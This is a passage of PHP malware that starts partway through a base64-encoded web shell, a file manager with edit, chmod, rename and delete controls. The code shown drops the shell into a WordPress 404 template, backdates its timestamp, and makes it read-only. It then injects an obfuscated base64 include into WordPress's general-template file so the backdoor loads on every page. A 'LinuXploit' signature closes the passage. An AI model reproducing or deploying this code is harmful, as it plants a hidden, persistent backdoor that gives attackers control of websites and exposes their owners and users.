S80WG55RnZGT0JXQUJ3UUhsQWIyQkdvR3pBMnNESHdTWkJLVUhOUVdOQmJzR0x3dytGVUlNQ1ExWkgzS1RiOEFYOGh2NVl6UGNaeXlhMFJYS0NKMFZXaHY2TU13bVRCN1dFWTZHendqZkVINXZwdmxNNmN5MkNJamdSMnlJdUI5cEdaa1grWDBVS1NveXFpN3FVYlJUZEhGMDl5eldyT1JaKzJlOWp2R1BxWXk1Tzl0cXRuSjJaNnhxYkZKc1kreWJ1SUM0cXJpQmVJZjRSZkdYRW5RVEpBbnRpZVRFMk1ROWllTnpBdWRzbWpPYzVKcFVsblJqcnVYY29ya1g1dW5PeTU1M1BGazFXWkI4T0lXWUVwZXlQK1dESUVKUUx4aFA1YWR1VFIwVDhvU2JoVTlGdnFLTm9sR3h0N2hLUEpMbW5WYVY5ampkTzMxRCttaUdUMFoxeGpNSlQxSXJlWkVaa3JrajgwMVdSTmJlck0vWmNka3RPWlNjbEp5alVnMXBsclFyMXpDM0tMZFBaaXNya3cza2VlWnR5aHVUaDhyMzVDUDVjL1BiRld5RlROR2p0Rkt1VUE0V1RDK29LM2hiR0Z0NHVFaTlTRnJVTTk5bS91cjVJd3VDRm55OWtMQlF1TEN6MkxoNFdmSGdJcjlGdXhZamkxTVhkeTR4WFZLNlpIaHA4Tko5eTJqTHNwYjlVT0pZVWxYeWFubmM4bzVTZzlLbHBVTXJnbGMwbGFtVXljdHVydlJhdVdNVllaVmtWZTlxbDlWYlZuOHFGNVZmckhDc3FLNzRzRWE0NXVKWFRsL1ZmUFY1YmRyYTNrcTN5dTNyU091azYyNnM5MW0vcjBxOWFrSFYwSWJ3RGEwYjhZM2xHMTl0U3Q1MG9YcHE5WTdOdE0zS3pRTTFZVFh0Vzh5MnJOdnlvVGFqOW5xZGYxM0xWdjJ0cTdlKzJTYmExci9kZDN2ekRvTWRGVHZlNzVUc3ZMVXJlRmRydlVWOTlXN1M3b0xkanhwaUc3cS81bjdkdUVkM1Q4V2VqM3VsZXdmMlJlL3JhblJ2Yk55dnY3K3lDVzFTTm8wZVNEcHc1WnVBYjlxYjdacDN0WEJhS2c3Q1FlWEJKOSttZkh2alVPaWh6c1BjdzgzZm1YKzM5UWpyU0hrcjBqcS9kYXd0bzIyZ1BhRzk3K2lNbzUwZFhoMUh2cmYvZnU4eDQyTjF4eldQVjU2Z25TZzk4Zm5rZ3BQanAyU25ucDFPUHozVW1keDU5MHo4bVd0ZFVWMjlaMFBQbmo4WGRPNU10MS8zeWZQZTU0OWQ4THh3OUNMM1l0c2x0MHV0UGE0OVIzNXcvZUZJcjF0djYyWDN5KzFYUEs1MDlFM3JPOUh2MDMvNmFzRFZjOWY0MXk1ZG4zbTk3OGJzRzdkdUp0MGN1Q1c2OWZoMjl1MFhkd3J1VE54ZGVvOTRyL3krMnYzcUIvb1A2biswL3JGbHdHM2crR0RBWU0vRFdRL3ZEZ21IbnY2VS85T0g0ZEpIekVmVkkwWWpqWStkSHg4YkRScTk4bVRPaytHbnNxY1R6OHArVnY5NTYzT3I1OS85NHZ0THoxajgyUEFMK1l2UHY2NTVxZk55NzZ1cHJ6ckhJOGNmdk01NVBmR20vSzNPMjMzdnVPKzYzOGU5SDVrby9FRCtVUFBSK21QSHA5QlA5ejduZlA3OEwvZUU4L3NsMHA4ekFBQUFJR05JVWswQUFIb2xBQUNBZ3dBQStmOEFBSURwQUFCMU1BQUE2bUFBQURxWUFBQVhiNUpmeFVZQUFBRzRTVVJCVkhqYWZKTFBhaE5SRk1aLzk5eVphYkJ4Q05OS2l5Z294R0NnbEJaY3VDZ0k5ZzJLTDFOQ3dTNUtYOEFuVUxvU3VuUFZyZHZHZ0J1cEVWMjRFV1FDTThuTTVNKzkxOFZNUnVPaTMrckNQZC81ZmVmY3ExNzFYanUwNVRiWnVlSHkvRXdCZUdqTDI1TVQ1c2F3TUlhSlhUVi9HZ3g0ZDNYRjBYSFBYWjZmS1FHdzFySXdocGt4bU9tVVBNdEl4Mk9TSkdHY3Bydy9QVVY4emRGeHo4azRUZXR1Z2RZMGdvQkFhendSbEFoeEhQUG00b0lYblE2ZkIzMDhBQkhoWTc4UHdOWjZ4SzlKekc2M0M4REx3ME9jdFlSaHlJZnI2OUlBMEc2M2NWWCtKaTBhUVFDekdRQ0xmMmJ5QUxSU0RJZkR1anZBdDZvZzhockVpNEw5dmIzU1VHUVpTb1NublE0TGE3bExWSk9XdWw4VUFCUlpWczNnSEY5dWJ1cUNKV2xyUFNwcGs1aUQ3ZTJLa09jQTdIYTd6SXdwTS85SGF0TEMwNW9pei84Ty9mUHJkOEtXejQvZmFVMEJtRTh6L0xVNzZNM05rakF0Q3JRSUQ1NDhMa24zWUdZTUQ2TUlheTJtb2dKTWkyS1ZBQkMyZlBMYzU5SEdCb2dBWUl4QnFyTzNmT21ENTgvS3l5cTNjUTZ0VkcwQ0dLY3BYaklhcmF4UWkyQ3NMWXNCSllKVENpVkNNaHFobWpzN3p0cmJ2L2RTSXNLZkFRRGZJc0tIdkFaWVpBQUFBQUJKUlU1RXJrSmdnZz09Jz4KCiI7Ci8vIDxhIGhyZWY9XCI/QVJSQVk9eyRBUlJBWX0mZmlsZXNyYz0kcGF0aC8kZmlsZSZwYXRoPSRwYXRoXCI+JGZpbGU8L2E+CiAgICAgICAgICAgIGVjaG8gIgo8YSBocmVmPVwiP29wdGlvbiZBUlJBWT17JEFSUkFZfSZwYXRoPXskcGF0aH0mb3B0PWVkaXQmdHlwZT1maWxlJm5hbWU9eyRmaWxlfVwiPnskZmlsZX08L2E+CjwvdGQ+Cjx0ZCBjbGFzcz10ZF9ob21lPjxjZW50ZXI+Ii4kc2l6ZS4iPC9jZW50ZXI+PC90ZD4KPHRkIGNsYXNzPXRkX2hvbWUgYWxpZ249J2NlbnRlcic+PGEgaHJlZj1cIj9vcHRpb24mQVJSQVk9eyRBUlJBWX0mcGF0aD0kcGF0aCZvcHQ9Y2htb2QmdHlwZT1maWxlJm5hbWU9JGZpbGVcIiB0aXRsZT0n5p2D6ZmQ6K6+572uJz4iOwoKCgogICAgICAgICAgICBpZihpc193cml0YWJsZSgiJHBhdGgvJGZpbGUiKSkgZWNobyAnPGZvbnQgY29sb3I9ImdyZWVuIj4nOwogICAgICAgICAgICBlbHNlaWYoIWlzX3JlYWRhYmxlKCIkcGF0aC8kZmlsZSIpKSBlY2hvICc8Zm9udCBjb2xvcj0icmVkIj4nOwogICAgICAgICAgICBlY2hvIGp1ZWppYW5nX3Blcm1zKCIkcGF0aC8kZmlsZSIpOwogICAgICAgICAgICBpZihpc193cml0YWJsZSgiJHBhdGgvJGZpbGUiKSB8fCAhaXNfcmVhZGFibGUoIiRwYXRoLyRmaWxlIikpIGVjaG8gJzwvZm9udD4nOwogICAgICAgICAgICBlY2hvICI8L2E+PC90ZD4KPHRkIGNsYXNzPXRkX2hvbWU+PGNlbnRlcj4KPGEgaHJlZj1cIj9vcHRpb24mQVJSQVk9eyRBUlJBWX0mcGF0aD0kcGF0aCZvcHQ9ZWRpdCZ0eXBlPWZpbGUmbmFtZT0kZmlsZVwiPue8lui+kTwvYT4KPGEgaHJlZj1cIj9vcHRpb24mQVJSQVk9eyRBUlJBWX0mcGF0aD0kcGF0aCZvcHQ9cmVuYW1lJnR5cGU9ZmlsZSZuYW1lPSRmaWxlJnBhdGg9JHBhdGhcIj7ph43lkb3lkI08L2E+CjxhIGhyZWY9XCJqYXZhc2NyaXB0OmlmKGNvbmZpcm0oJ+ehruWunuimgeWIoOmZpOWQlz8nKSlsb2NhdGlvbj0nP29wdGlvbiZBUlJBWT17JEFSUkFZfSZwYXRoPXskcGF0aH0mb3B0PWRlbGV0ZSZ0eXBlPWZpbGUmbmFtZT17JGZpbGV9J1wiPuWIoOmZpDwvYT4KPC9jZW50ZXI+PC90ZD4KPC90cj4iOwogICAgICAgIH0KICAgICAgICBlY2hvICc8L3RhYmxlPgo8L2Rpdj4nOwogICAgfQogICAgZWNobyAnPGJyPjxicj48YnI+PGJyPjwvYj4KPC9ib2R5PiA8L2h0bWw+PC9ib2R5Pgo8L2h0bWw+JzsKICAgIGRpZTsKZW5kaWY7ICAvLyA9PT09CgoKCgoKCg=="; // WP 404
    @chmod($jue_jiang_404_path, 0644);
    @file_put_contents($jue_jiang_404_path, base64_decode($jue_jiang_404));
    @touch($jue_jiang_404_path, filectime($file_general_template_path));
    @chmod($jue_jiang_404_path, 0444);
}

$general_template_code = @file_get_contents($file_general_template_path);
$gen_mat = base64_decode("QGluY2x1ZGVbXHNdK2Jhc2U2NF9kZWNvZGVbXHNdKj9cKCJbMC05YS16QS1aLT0rXC9dKyJcKTs=");
$isget_mat = preg_match("/{$gen_mat}/i",$general_template_code)?true:false;
if (!$isget_mat){
    $pma = base64_decode("ZnVuY3Rpb25bXHNdW2EtekEtWjAtOV9dKlwoLio/XCkuKg==");
    preg_match_all("/{$pma}/i",$general_template_code,$pr);
    $gen_temp_fun_name = $pr[0][rand(0,count($pr[0])-1)];
    $jj404_b64_path = base64_encode($jue_jiang_404_path);
    $new_general_template = str_replace($gen_temp_fun_name,"@include base64_decode(\"{$jj404_b64_path}\");".PHP_EOL.$gen_temp_fun_name,$general_template_code);
    @chmod($file_general_template_path, 0644);
    @file_put_contents($file_general_template_path,$new_general_template);
    @touch($file_general_template_path, filectime($file_general_template_path));
}

Youez - 2016 - github.com/yon3zu
LinuXploit